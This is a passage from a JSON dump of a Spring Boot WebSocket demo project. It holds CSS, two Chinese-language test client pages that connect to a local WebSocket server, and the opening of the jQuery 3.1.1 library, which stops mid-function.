left;\n          transition: 0.6s ease-in-out left;\n}\n\n.carousel .item > img {\n  display: block;\n  line-height: 1;\n}\n\n.carousel .active,\n.carousel .next,\n.carousel .prev {\n  display: block;\n}\n\n.carousel .active {\n  left: 0;\n}\n\n.carousel .next,\n.carousel .prev {\n  position: absolute;\n  top: 0;\n  width: 100%;\n}\n\n.carousel .next {\n  left: 100%;\n}\n\n.carousel .prev {\n  left: -100%;\n}\n\n.carousel .next.left,\n.carousel .prev.right {\n  left: 0;\n}\n\n.carousel .active.left {\n  left: -100%;\n}\n\n.carousel .active.right {\n  left: 100%;\n}\n\n.carousel-control {\n  position: absolute;\n  top: 40%;\n  left: 15px;\n  width: 40px;\n  height: 40px;\n  margin-top: -20px;\n  font-size: 60px;\n  font-weight: 100;\n  line-height: 30px;\n  color: #ffffff;\n  text-align: center;\n  background: #222222;\n  border: 3px solid #ffffff;\n  -webkit-border-radius: 23px;\n     -moz-border-radius: 23px;\n          border-radius: 23px;\n  opacity: 0.5;\n  filter: alpha(opacity=50);\n}\n\n.carousel-control.right {\n  right: 15px;\n  left: auto;\n}\n\n.carousel-control:hover {\n  color: #ffffff;\n  text-decoration: none;\n  opacity: 0.9;\n  filter: alpha(opacity=90);\n}\n\n.carousel-caption {\n  position: absolute;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  padding: 10px 15px 5px;\n  background: #333333;\n  background: rgba(0, 0, 0, 0.75);\n}\n\n.carousel-caption h4,\n.carousel-caption p {\n  color: #ffffff;\n}\n\n.hero-unit {\n  padding: 60px;\n  margin-bottom: 30px;\n  background-color: #eeeeee;\n  -webkit-border-radius: 6px;\n     -moz-border-radius: 6px;\n          border-radius: 6px;\n}\n\n.hero-unit h1 {\n  margin-bottom: 0;\n  font-size: 60px;\n  line-height: 1;\n  letter-spacing: -1px;\n  color: inherit;\n}\n\n.hero-unit p {\n  font-size: 18px;\n  font-weight: 200;\n  line-height: 27px;\n  color: inherit;\n}\n\n.pull-right {\n  float: right;\n}\n\n.pull-left {\n  float: left;\n}\n\n.hide {\n  display: none;\n}\n\n.show {\n  display: block;\n}\n\n.invisible {\n  visibility: hidden;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/src/test/java/com/xncoding/jwt/socket/client/html/index.html",
    "content": "<html>\n<head>\n    <meta charset=\"UTF-8\"/>\n    <title>广播式WebSocket</title>\n    <script src=\"js/sockjs.min.js\"></script>\n    <script src=\"js/stomp.js\"></script>\n    <script src=\"js/jquery-3.1.1.js\"></script>\n</head>\n<body onload=\"disconnect()\">\n<noscript><h2 style=\"color: #e80b0a;\">Sorry，浏览器不支持WebSocket</h2></noscript>\n<div>\n    <div>\n        <button id=\"connect\" onclick=\"connect();\">连接</button>\n        <button id=\"disconnect\" disabled=\"disabled\" onclick=\"disconnect();\">断开连接</button>\n    </div>\n\n    <div id=\"conversationDiv\">\n        <label>输入你的名字</label><input type=\"text\" id=\"name\"/>\n        <button id=\"sendName\" onclick=\"sendName();\">发送</button>\n        <p id=\"response\"></p>\n        <p id=\"callback\"></p>\n    </div>\n</div>\n<script type=\"text/javascript\">\n    var stompClient = null;\n\n    function setConnected(connected) {\n        document.getElementById(\"connect\").disabled = connected;\n        document.getElementById(\"disconnect\").disabled = !connected;\n        document.getElementById(\"conversationDiv\").style.visibility = connected ? 'visible' : 'hidden';\n        $(\"#response\").html();\n        $(\"#callback\").html();\n    }\n\n    function connect() {\n        var socket = new SockJS('http://localhost:8092/simple');\n        stompClient = Stomp.over(socket);\n        stompClient.connect({}, function (frame) {\n            setConnected(true);\n            console.log('Connected:' + frame);\n            stompClient.subscribe('/topic/say', function (response) {\n                showResponse(JSON.parse(response.body).responseMessage);\n            });\n            // 另外再注册一下定时任务接受\n            stompClient.subscribe('/topic/callback', function (response) {\n                showCallback(response.body);\n            });\n        });\n    }\n\n    function disconnect() {\n        if (stompClient != null) {\n            stompClient.disconnect();\n        }\n        setConnected(false);\n        console.log('Disconnected');\n    }\n\n    function sendName() {\n        var name = $('#name').val();\n        console.log('name:' + name);\n        stompClient.send(\"/welcome\", {}, JSON.stringify({'name': name}));\n    }\n\n    function showResponse(message) {\n        $(\"#response\").html(message);\n    }\n    function showCallback(message) {\n        $(\"#callback\").html(message);\n    }\n</script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/src/test/java/com/xncoding/jwt/socket/client/html/index1.html",
    "content": "<html>\n<head>\n    <meta charset=\"UTF-8\"/>\n    <title>广播式WebSocket</title>\n    <script src=\"js/sockjs.min.js\"></script>\n    <script src=\"js/jquery-3.1.1.js\"></script>\n</head>\n<body>\n<noscript><h2 style=\"color: #e80b0a;\">Sorry，浏览器不支持WebSocket</h2></noscript>\n<div>\n    <div>\n        <button id=\"connect\" onclick=\"connect();\">连接</button>\n        <button id=\"disconnect\" disabled=\"disabled\" onclick=\"disconnect();\">断开连接</button>\n    </div>\n\n    <div id=\"conversationDiv\">\n        <label>输入你的名字</label><input type=\"text\" id=\"name\"/>\n        <button id=\"sendName\" onclick=\"sendName();\">发送</button>\n        <p id=\"response\"></p>\n        <p id=\"callback\"></p>\n    </div>\n</div>\n<script type=\"text/javascript\">\n    var curTryNum = 0;\n    var url = 'ws://localhost:8282/app';\n    var ws;\n    function connect() {\n        ws = new WebSocket(url);\n        /**\n         * 因为服务端在 300s 未传输数据时会主动关闭连接，所以，客户端需要定时发送数据保持连接。\n         */\n        var heartCheck = {\n            timeout: 50000, //50s\n            timeoutObj: null,\n            reset: function(){\n                clearInterval(this.timeoutObj);\n                this.start();\n            },\n            start: function(){\n                this.timeoutObj = setInterval(function(){\n                    if(ws.readyState === 1){\n                        ws.send(\"hb\");\n                    }\n                }, this.timeout)\n            }\n        };\n        ws.onopen = function (evnt) {\n            console.log(\"onopen: \", evnt);\n            heartCheck.start();\n        };\n        ws.onmessage = function(message){\n            // 无论收到什么信息，说明当前连接正常，将心跳检测的计时器重置\n            heartCheck.reset();\n            console.log(\"client received a message.data: \" + message.data);\n            if (message.data !== \"hb_ok\") {\n                // 不要将ping的答复信息输出\n                console.log(\"msg = \" + JSON.stringify(message.data));\n                var response = JSON.parse(message.data);\n                console.log(\"message.data.method = \" + response.method);\n                showResponse(JSON.stringify(response.result));\n            }\n        };\n        ws.onclose  = function (event) {\n            if (event.code !== 4500) {\n                //4500为服务端在打开多tab时主动关闭返回的编码\n                connect();\n            }\n        };\n        setConnected(true);\n    }\n\n    function disconnect() {\n        if (ws != null) {\n            ws.close();\n        }\n        setConnected(false);\n        console.log(\"Disconnected\");\n    }\n\n    function sendName() {\n        var data = {\n            \"method\": \"list\",\n            \"param\": $(\"#name\").val()\n        };\n        ws.send(JSON.stringify(data));\n    }\n\n    function showResponse(message) {\n        $(\"#response\").html(message);\n    }\n    function showCallback(message) {\n        $(\"#callback\").html(message);\n    }\n    function setConnected(connected) {\n        document.getElementById(\"connect\").disabled = connected;\n        document.getElementById(\"disconnect\").disabled = !connected;\n        document.getElementById(\"conversationDiv\").style.visibility = connected ? 'visible' : 'hidden';\n        $(\"#response\").html();\n        $(\"#callback\").html();\n    }\n</script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/src/test/java/com/xncoding/jwt/socket/client/html/js/jquery-3.1.1.js",
    "content": "/*!\n * jQuery JavaScript Library v3.1.1\n * https://jquery.com/\n *\n * Includes Sizzle.js\n * https://sizzlejs.com/\n *\n * Copyright jQuery Foundation and other contributors\n * Released under the MIT license\n * https://jquery.org/license\n *\n * Date: 2016-09-22T22:30Z\n */\n( function( global, factory ) {\n\n    \"use strict\";\n\n    if ( typeof module === \"object\" && typeof module.exports === \"object\" ) {\n\n        // For CommonJS and CommonJS-like environments where a proper `window`\n        // is present, execute the factory and get jQuery.\n        // For environments that do not have a `window` with a `document`\n        // (such as Node.js), expose a factory as module.exports.\n        // This accentuates the need for the creation of a real `window`.\n        // e.g. var jQuery = require(\"jquery\")(window);\n        // See ticket #14549 for more info.\n        module.exports = global.document ?\n            factory( global, true ) :\n            function( w ) {\n                if ( !w.document ) {\n                    throw new Error( \"jQuery requires a window with a document\" );\n                }\n                return factory( w );\n            };\n    } else {\n        factory( global );\n    }\n\n// Pass this if window is not defined yet\n} )( typeof window !== \"undefined\" ? window : this, function( window, noGlobal ) {\n\n// Edge <= 12 - 13+, Firefox <=18 - 45+, IE 10 - 11, Safari 5.1 - 9+, iOS 6 - 9.1\n// throw exceptions when non-strict code (e.g., ASP.NET 4.5) accesses strict mode\n// arguments.callee.caller (trac-13335). But as of jQuery 3.0 (2016), strict mode should be common\n// enough that all such attempts are guarded in a try block.\n    \"use strict\";\n\n    var arr = [];\n\n    var document = window.document;\n\n    var getProto = Object.getPrototypeOf;\n\n    var slice = arr.slice;\n\n    var concat = arr.concat;\n\n    var push = arr.push;\n\n    var indexOf = arr.indexOf;\n\n    var class2type = {};\n\n    var toString = class2type.toString;\n\n    var hasOwn = class2type.hasOwnProperty;\n\n    var fnToString = hasOwn.toString;\n\n    var ObjectFunctionString = fnToString.call( Object );\n\n    var support = {};\n\n\n\n    function DOMEval( code, doc ) {\n        doc = doc || document;\n\n        var script = doc.createElement( \"script\" );\n\n        script.text = code;\n        doc.head.appendChild( script ).parentNode.removeChild( script );\n    }\n    /* global Symbol */\n// Defining this global in .eslintrc.json would create a danger of using the global\n// unguarded in another place, it seems safer to define global only for this module\n\n\n\n    var\n        version = \"3.1.1\",\n\n        // Define a local copy of jQuery\n        jQuery = function( selector, context ) {\n\n            // The jQuery object is actually just the init constructor 'enhanced'\n            // Need init if jQuery is called (just allow error to be thrown if not included)\n            return new jQuery.fn.init( selector, context );\n        },\n\n        // Support: Android <=4.0 only\n        // Make sure we trim BOM and NBSP\n        rtrim = /^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g,\n\n        // Matches dashed string for camelizing\n        rmsPrefix = /^-ms-/,\n        rdashAlpha = /-([a-z])/g,\n\n        // Used by jQuery.camelCase as callback to replace()\n        fcamelCase = function( all, letter ) {\n            return letter.toUpperCase();\n        };\n\n    jQuery.fn = jQuery.prototype = {\n\n        // The current version of jQuery being used\n        jquery: version,\n\n        constructor: jQuery,\n\n        // The default length of a jQuery object is 0\n        length: 0,\n\n        toArray: function() {\n            return slice.call( this );\n        },\n\n        // Get the Nth element in the matched element set OR\n        // Get the whole matched element set as a clean array\n        get: function( num ) {\n\n            // Return all the elements in a clean array\n            if ( num == null ) {\n                return slice.call( this );\n            }\n\n            // Return just the one element from the set\n            return num < 0 ? this[ num + this.length ] : this[ num ];\n        },\n\n        // Take an array of elements and push it onto the stack\n        // (returning the new matched element set)\n        pushStack: function( elems ) {\n\n            // Build a new jQuery matched element set\n            var ret = jQuery.merge( this.constructor(), elems );\n\n            // Add the old object onto the stack (as a reference)\n            ret.prevObject = this;\n\n            // Return the newly-formed element set\n            return ret;\n        },\n\n        // Execute a callback for every element in the matched set.\n        each: function( callback ) {\n            return jQuery.each( this, callback );\n        },\n\n        map: function( callback ) {\n            return this.pushStack( jQuery.map( this, function( elem, i ) {\n                return callback.call( elem, i, elem );\n            } ) );\n        },\n\n        slice: function() {\n            return this.pushStack( slice.apply( this, arguments ) );\n        },\n\n        first: function() {\n            return this.eq( 0 );\n        },\n\n        last: function() {\n            return this.eq( -1 );\n        },\n\n        eq: function( i ) {\n            var len = this.length,\n                j = +i + ( i < 0 ? len : 0 );\n            return this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] );\n        },\n\n        end: function() {\n            return this.prevObject || this.constructor();\n        },\n\n        // For internal use only.\n        // Behaves like an Array's method, not like a jQuery method.\n        push: push,\n        sort: arr.sort,\n        splice: arr.splice\n    };\n\n    jQuery.extend = jQuery.fn.extend = function() {\n        var options, name, src, copy, copyIsArray, clone,\n            target = arguments[ 0 ] || {},\n            i = 1,\n            length = arguments.length,\n            deep = false;\n\n        // Handle a deep copy situation\n        if ( typeof target === \"boolean\" ) {\n            deep = target;\n\n            // Skip the boolean and the target\n            target = arguments[ i ] || {};\n            i++;\n        }\n\n        // Handle case when target is a string or something (possible in deep copy)\n        if ( typeof target !== \"object\" && !jQuery.isFunction( target ) ) {\n            target = {};\n        }\n\n        // Extend jQuery itself if only one argument is passed\n        if ( i === length ) {\n            target = this;\n            i--;\n        }\n\n        for ( ; i < length; i++ ) {\n\n            // Only deal with non-null/undefined values\n            if ( ( options = arguments[ i ] ) != null ) {\n\n                // Extend the base object\n                for ( name in options ) {\n                    src = target[ name ];\n                    copy = options[ name ];\n\n                    // Prevent never-ending loop\n                    if ( target === copy ) {\n                        continue;\n                    }\n\n                    // Recurse if we're merging plain objects or arrays\n                    if ( deep && copy && ( jQuery.isPlainObject( copy ) ||\n                            ( copyIsArray = jQuery.isArray( copy ) ) ) ) {\n\n                        if ( copyIsArray ) {\n                            copyIsArray = false;\n                            clone = src && jQuery.isArray( src ) ? src : [];\n\n                        } else {\n                            clone = src && jQuery.isPlainObject( src ) ? src : {};\n                        }\n\n                        // Never move original objects, clone them\n                        target[ name ] = jQuery.extend( deep, clone, copy );\n\n                        // Don't bring in undefined values\n                    } else if ( copy !== undefined ) {\n                        target[ name ] = copy;\n                    }\n                }\n            }\n        }\n\n        // Return the modified object\n        return target;\n    };\n\n    jQuery.extend( {\n\n        // Unique for each copy of jQuery on the page\n        expando: \"jQuery\" + ( version + Math.random() ).replace( /\\D/g, \"\" ),\n\n        // Assume jQuery is ready without the ready module\n        isReady: true,\n\n        error: function( msg ) {\n            throw new Error( msg );\n        },\n\n        noop: function() {},\n\n        isFunction: function( obj ) {\n            return jQuery.type( obj ) === \"function\";\n        },\n\n        isArray: Array.isArray,\n\n        isWindow: function( obj ) {\n            return obj != null && obj === obj.window;\n        },\n\n        isNumeric: function( obj ) {\n\n            // As of jQuery 3.0, isNumeric is limited to\n            // strings and numbers (primitives or objects)\n            // that can be coerced to finite numbers (gh-2662)\n            var type = jQuery.type( obj );\n            return ( type === \"number\" || type === \"string\" ) &&\n\n                // parseFloat NaNs numeric-cast false positives (\"\")\n                // ...but misinterprets leading-number strings, particularly hex literals (\"0x...\")\n                // subtraction forces infinities to NaN\n                !isNaN( obj - parseFloat( obj ) );\n        },\n\n        isPlainObject: function( obj ) {\n            var proto, Ctor;\n\n            // Detect obvious negatives\n            // Use toString instead of jQuery.type to catch host objects\n            if ( !obj || toString.call( obj ) !== \"[object Object]\" ) {\n                return false;\n            }\n\n            proto = getProto( obj );\n\n            // Objects with no prototype (e.g., `Object.create( null )`) are plain\n            if ( !proto ) {\n                return true;\n            }\n\n            // Objects with prototype are plain iff they were constructed by a global Object function\n            Ctor = hasOwn.call( proto, \"constructor\" ) && proto.constructor;\n            return typeof Ctor === \"function\" && fnToString.call( Ctor ) === ObjectFunctionString;\n        },\n\n        isEmptyObject: function( obj ) {\n\n            /* eslint-disable no-unused-vars */\n            // See https://github.com/eslint/eslint/issues/6125\n            var name;\n\n            for ( name in obj ) {\n                return false;\n            }\n            return true;\n        },\n\n        type: function( obj ) {\n            if ( obj == null ) {\n                return obj + \"\";\n            }\n\n            // Support: Android <=2.3 only (functionish RegExp)\n            return typeof obj === \"object\" || typeof obj === \"function\" ?\n                class2type[ toString.call( obj ) ] || \"object\" :\n                typeof obj;\n        },\n\n        // Evaluates a script in a global context\n        globalEval: function( code ) {\n            DOMEval( code );\n        },\n\n        // Convert dashed to camelCase; used by the css and data modules\n        // Support: IE <=9 - 11, Edge 12 - 13\n        // Microsoft forgot to hump their vendor prefix (#9572)\n        camelCase: function( string ) {\n            return string.replace( rmsPrefix, \"ms-\" ).replace( rdashAlpha, fcamelCase );\n        },\n\n        nodeName: function( elem, name ) {\n            return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();\n        },\n\n        each: function( obj, callback ) {\n            var length, i = 0;\n\n            if ( isArrayLike( obj ) ) {\n                length = obj.length;\n                for ( ; i < length; i++ ) {\n                    if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {\n                        break;\n                    }\n                }\n            } else {\n                for ( i in obj ) {\n                    if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {\n                        break;\n                    }\n                }\n            }\n\n            return obj;\n        },\n\n        // Support: Android <=4.0 only\n        trim: function( text ) {\n            return text == null ?\n                \"\" :\n                ( text + \"\" ).replace( rtrim, \"\" );\n        },\n\n        // results is for internal usage only\n        makeArray: function( arr, results ) {\n            var ret = results || [];\n\n            if ( arr != null ) {\n                if ( isArrayLike( Object( arr ) ) ) {\n                    jQuery.merge( ret,\n                        typeof arr === \"string\" ?\n                            [ arr ] : arr\n                    );\n                } else {\n                    push.call( ret, arr );\n                }\n            }\n\n            return ret;\n        },\n\n        inArray: function( elem, arr, i ) {\n            return arr == null ? -1 : indexOf.call( arr, elem, i );\n        },\n\n        // Support: Android <=4.0 only, PhantomJS 1 only\n        // push.apply(_, arraylike) throws on ancient WebKit\n        merge: function( first, second ) {\n            var len = +second.length,\n                j = 0,\n                i = first.length;\n\n            for ( ; j < len; j++ ) {\n                first[ i++ ] = second[ j ];\n            }\n\n            first.length = i;\n\n            return first;\n        },\n\n        grep: function( elems, callback, invert ) {\n            var callbackInverse,\n                matches = [],\n                i = 0,\n                length = elems.length,\n                callbackExpect = !invert;\n\n            // Go through the array, only saving the items\n            // that pass the validator function\n            for ( ; i < length; i++ ) {\n                callbackInverse = !callback( elems[ i ], i );\n                if ( callbackInverse !== callbackExpect ) {\n                    matches.push( elems[ i ] );\n                }\n            }\n\n            return matches;\n        },\n\n        // arg is for internal usage only\n        map: function( elems, callback, arg ) {\n            var length, value,\n                i = 0,\n                ret = [];\n\n            // Go through the array, translating each of the items to their new values\n            if ( isArrayLike( elems ) ) {\n                length = elems.length;\n                for ( ; i < length; i++ ) {\n                    value = callback( elems[ i ], i, arg );\n\n                    if ( value != null ) {\n                        ret.push( value );\n                    }\n                }\n\n                // Go through every key on the object,\n            } else {\n                for ( i in elems ) {\n                    value = callback( elems[ i ], i, arg );\n\n                    if ( value != null ) {\n                        ret.push( value );\n                    }\n                }\n            }\n\n            // Flatten any nested arrays\n            return concat.apply( [], ret );\n        },\n\n        // A global GUID counter for objects\n        guid: 1,\n\n        // Bind a function to a context, optionally partially applying any\n        // arguments.\n        proxy: function( fn, context ) {\n            var tmp, args, proxy;\n\n            if ( typeof context === \"string\" ) {\n                tmp = fn[ context ];\n                context = fn;\n                fn = tmp;\n            }\n\n            // Quick check to determine if target is callable, in the spec\n            // this throws a TypeError, but we will just return undefined.\n            if ( !jQuery.isFunction( fn ) ) {\n                return undefined;\n            }\n\n            // Simulated bind\n            args = slice.call( arguments, 2 );\n            proxy = function() {\n                return fn.apply( context || this, args.concat( slice.call( arguments ) ) );\n            };\n\n            // Set the guid of unique handler to the same of original handler, so it can be removed\n            proxy.guid = fn.guid = fn.guid || jQuery.guid++;\n\n            return proxy;\n        },\n\n        now: Date.now,\n\n        // jQuery.support is not used in Core but other projects attach their\n        // properties to it so it needs to exist.\n        support: support\n    } );\n\n    if ( typeof Symbol === \"function\" ) {\n        jQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ];\n    }\n\n// Populate the class2type map\n    jQuery.each( \"Boolean Number String Function Array Date RegExp Object Error Symbol\".split( \" \" ),\n        function( i, name ) {\n            class2type[ \"[object \" + name + \"]\" ] = name.toLowerCase();\n        } );\n\n    function isArrayLike( obj ) {\n\n        // Support: real iOS 8.2 only (not reproducible in simulator)\n        // `in` check used to prevent JIT error (gh-2145)\n        // hasOwn isn't used here due to false negatives\n        // regarding Nodelist length in IE\n        var length = !!obj && \"length\" in obj && obj.length,\n            type = jQuery.type( obj );\n\n        if ( type === \"function\" || jQuery.isWindow( obj ) ) {\n            return false;\n        }\n\n        return type === \"array\" || length === 0 ||\n            typeof length === \"number\" && length > 0 && ( length - 1 ) in obj;\n    }\n    var Sizzle =\n        /*!\n         * Sizzle CSS Selector Engine v2.3.3\n         * https://sizzlejs.com/\n         *\n         * Copyright jQuery Foundation and other contributors\n         * Released under the MIT license\n         * http://jquery.org/license\n         *\n         * Date: 2016-08-08\n         */\n        (function( window ) {\n\n            var i,\n                support,\n                Expr,\n                getText,\n                isXML,\n                tokenize,\n                compile,\n                select,\n                outermostContext,\n                sortInput,\n                hasDuplicate,\n\n                // Local document vars\n                setDocument,\n                document,\n                docElem,\n                documentIsHTML,\n                rbuggyQSA,\n                rbuggyMatches,\n                matches,\n                contains,\n\n                // Instance-specific data\n                expando = \"sizzle\" + 1 * new Date(),\n                preferredDoc = window.document,\n                dirruns = 0,\n                done = 0,\n                classCache = createCache(),\n                tokenCache = createCache(),\n                compilerCache = createCache(),\n                sortOrder = function( a, b ) {\n                    if ( a === b ) {\n                        hasDuplicate = true;\n                    }\n                    return 0;\n                },\n\n                // Instance methods\n                hasOwn = ({}).hasOwnProperty,\n                arr = [],\n                pop = arr.pop,\n                push_native = arr.push,\n                push = arr.push,\n                slice = arr.slice,\n                // Use a stripped-down indexOf as it's faster than native\n                // https://jsperf.com/thor-indexof-vs-for/5\n                indexOf = function( list, elem ) {\n                    var i = 0,\n                        len = list.length;\n                    for ( ; i < len; i++ ) {\n                        if ( list[i] === elem ) {\n                            return i;\n                        }\n                    }\n                    return -1;\n                },\n\n                booleans = \"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",\n\n                // Regular expressions\n\n                // http://www.w3.org/TR/css3-selectors/#whitespace\n                whitespace = \"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",\n\n                // http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier\n                identifier = \"(?:\\\\\\\\.|[\\\\w-]|[^\\0-\\\\xa0])+\",\n\n                // Attribute selectors: http://www.w3.org/TR/selectors/#attribute-selectors\n                attributes = \"\\\\[\" + whitespace + \"*(\" + identifier + \")(?:\" + whitespace +\n                    // Operator (capture 2)\n                    \"*([*^$|!~]?=)\" + whitespace +\n                    // \"Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]\"\n                    \"*(?:'((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\"|(\" + identifier + \"))|)\" + whitespace +\n                    \"*\\\\]\",\n\n                pseudos = \":(\" + identifier + \")(?:\\\\((\" +\n                    // To reduce the number of selectors needing tokenize in the preFilter, prefer arguments:\n                    // 1. quoted (capture 3; capture 4 or capture 5)\n                    \"('((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\")|\" +\n                    // 2. simple (capture 6)\n                    \"((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\" + attributes + \")*)|\" +\n                    // 3. anything else (capture 2)\n                    \".*\" +\n                    \")\\\\)|)\",\n\n                // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter\n                rwhitespace = new RegExp( whitespace + \"+\", \"g\" ),\n                rtrim = new RegExp( \"^\" + whitespace + \"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\" + whitespace + \"+$\", \"g\" ),\n\n                rcomma = new RegExp( \"^\" + whitespace + \"*,\" + whitespace + \"*\" ),\n                rcombinators = new RegExp( \"^\" + whitespace + \"*([>+~]|\" + whitespace + \")\" + whitespace + \"*\" ),\n\n                rattributeQuotes = new RegExp( \"=\" + whitespace + \"*([^\\\\]'\\\"]*?)\" + whitespace + \"*\\\\]\", \"g\" ),\n\n                rpseudo = new RegExp( pseudos ),\n                ridentifier = new RegExp( \"^\" + identifier + \"$\" ),\n\n                matchExpr = {\n                    \"ID\": new RegExp( \"^#(\" + identifier + \")\" ),\n                    \"CLASS\": new RegExp( \"^\\\\.(\" + identifier + \")\" ),\n                    \"TAG\": new RegExp( \"^(\" + identifier + \"|[*])\" ),\n                    \"ATTR\": new RegExp( \"^\" + attributes ),\n                    \"PSEUDO\": new RegExp( \"^\" + pseudos ),\n                    \"CHILD\": new RegExp( \"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\" + whitespace +\n                        \"*(even|odd|(([+-]|)(\\\\d*)n|)\" + whitespace + \"*(?:([+-]|)\" + whitespace +\n                        \"*(\\\\d+)|))\" + whitespace + \"*\\\\)|)\", \"i\" ),\n                    \"bool\": new RegExp( \"^(?:\" + booleans + \")$\", \"i\" ),\n                    // For use in libraries implementing .is()\n                    // We use this for POS matching in `select`\n                    \"needsContext\": new RegExp( \"^\" + whitespace + \"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\" +\n                        whitespace + \"*((?:-\\\\d)?\\\\d*)\" + whitespace + \"*\\\\)|)(?=[^-]|$)\", \"i\" )\n                },\n\n                rinputs = /^(?:input|select|textarea|button)$/i,\n                rheader = /^h\\d$/i,\n\n                rnative = /^[^{]+\\{\\s*\\[native \\w/,\n\n                // Easily-parseable/retrievable ID or TAG or CLASS selectors\n                rquickExpr = /^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,\n\n                rsibling = /[+~]/,\n\n                // CSS escapes\n                // http://www.w3.org/TR/CSS21/syndata.html#escaped-characters\n                runescape = new RegExp( \"\\\\\\\\([\\\\da-f]{1,6}\" + whitespace + \"?|(\" + whitespace + \")|.)\", \"ig\" ),\n                funescape = function( _, escaped, escapedWhitespace ) {\n                    var high = \"0x\" + escaped - 0x10000;\n                    // NaN means non-codepoint\n                    // Support: Firefox<24\n                    // Workaround erroneous numeric interpretation of +\"0x\"\n                    return high !== high || escapedWhitespace ?\n                        escaped :\n                        high < 0 ?\n                            // BMP codepoint\n                            String.fromCharCode( high + 0x10000 ) :\n                            // Supplemental Plane codepoint (surrogate pair)\n                            String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );\n                },\n\n                // CSS string/identifier serialization\n                // https://drafts.csswg.org/cssom/#common-serializing-idioms\n                rcssescape = /([\\0-\\x1f\\x7f]|^-?\\d)|^-$|[^\\0-\\x1f\\x7f-\\uFFFF\\w-]/g,\n                fcssescape = function( ch, asCodePoint ) {\n                    if ( asCodePoint ) {\n\n                        // U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER\n                        if ( ch === \"\\0\" ) {\n                            return \"\\uFFFD\";\n                        }\n\n                        // Control characters and (dependent upon position) numbers get escaped as code points\n                        return ch.slice( 0, -1 ) + \"\\\\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + \" \";\n                    }\n\n                    // Other potentially-special ASCII characters get backslash-escaped\n                    return \"\\\\\" + ch;\n                },\n\n                // Used for iframes\n                // See setDocument()\n                // Removing the function wrapper causes a \"Permission Denied\"\n                // error in IE\n                unloadHandler = function() {\n                    setDocument();\n                },\n\n                disabledAncestor = addCombinator(\n                    function( elem ) {\n                        return elem.disabled === true && (\"form\" in elem || \"label\" in elem);\n                    },\n                    { dir: \"parentNode\", next: \"legend\" }\n                );\n\n// Optimize for push.apply( _, NodeList )\n            try {\n                push.apply(\n                    (arr = slice.call( preferredDoc.childNodes )),\n                    preferredDoc.childNodes\n                );\n                // Support: Android<4.0\n                // Detect silently failing push.apply\n                arr[ preferredDoc.childNodes.length ].nodeType;\n            } catch ( e ) {\n                push = { apply: arr.length ?\n\n                        // Leverage slice if possible\n                        function( target, els ) {\n                            push_native.apply( target, slice.call(els) );\n                        } :\n\n                        // Support: IE<9\n                        // Otherwise append directly\n                        function( target, els ) {\n                            var j = target.length,\n                                i = 0;\n                            // Can't trust NodeList.length\n                            while ( (target[j++] = els[i++]) ) {}\n                            target.length = j - 1;\n                        }\n                };\n            }\n\n            function Sizzle( selector, context, results, seed ) {\n                var m, i, elem, nid, match, groups, newSelector,\n                    newContext = context && context.ownerDocument,\n\n                    // nodeType defaults to 9, since context defaults to document\n                    nodeType = context ? context.nodeType : 9;\n\n                results = results || [];\n\n                // Return early from calls with invalid selector or context\n                if ( typeof selector !== \"string\" || !selector ||\n                    nodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) {\n\n                    return results;\n                }\n\n                // Try to shortcut find operations (as opposed to filters) in HTML documents\n                if ( !seed ) {\n\n                    if ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) {\n                        setDocument( context );\n                    }\n                    context = context || document;\n\n                    if ( documentIsHTML ) {\n\n                        // If the selector is sufficiently simple, try using a \"get*By*\" DOM method\n                        // (excepting DocumentFragment context, where the methods don't exist)\n                        if ( nodeType !== 11 && (match = rquickExpr.exec( selector )) ) {\n\n                            // ID selector\n                            if ( (m = match[1]) ) {\n\n                                // Document context\n                                if ( nodeType === 9 ) {\n                                    if ( (elem = context.getElementById( m )) ) {\n\n                                        // Support: IE, Opera, Webkit\n                                        // TODO: identify versions\n                                        // getElementById can match elements by name instead of ID\n                                        if ( elem.id === m ) {\n                                            results.push( elem );\n                                            return results;\n                                        }\n                                    } else {\n                                        return results;\n                                    }\n\n                                    // Element context\n                                } else {\n\n                                    // Support: IE, Opera, Webkit\n                                    // TODO: identify versions\n                                    // getElementById can match elements by name instead of ID\n                                    if ( newContext && (elem = newContext.getElementById( m )) &&\n                                        contains( context, elem ) &&\n                                        elem.id === m ) {\n\n                                        results.push( elem );\n                                        return results;\n                                    }\n                                }\n\n                                // Type selector\n                            } else if ( match[2] ) {\n                                push.apply( results, context.getElementsByTagName( selector ) );\n                                return results;\n\n                                // Class selector\n                            } else if ( (m = match[3]) && support.getElementsByClassName &&\n                                context.getElementsByClassName ) {\n\n                                push.apply( results, context.getElementsByClassName( m ) );\n                                return results;\n                            }\n                        }\n\n                        // Take advantage of querySelectorAll\n                        if ( support.qsa &&\n                            !compilerCache[ selector + \" \" ] &&\n                            (!rbuggyQSA || !rbuggyQSA.test( selector )) ) {\n\n                            if ( 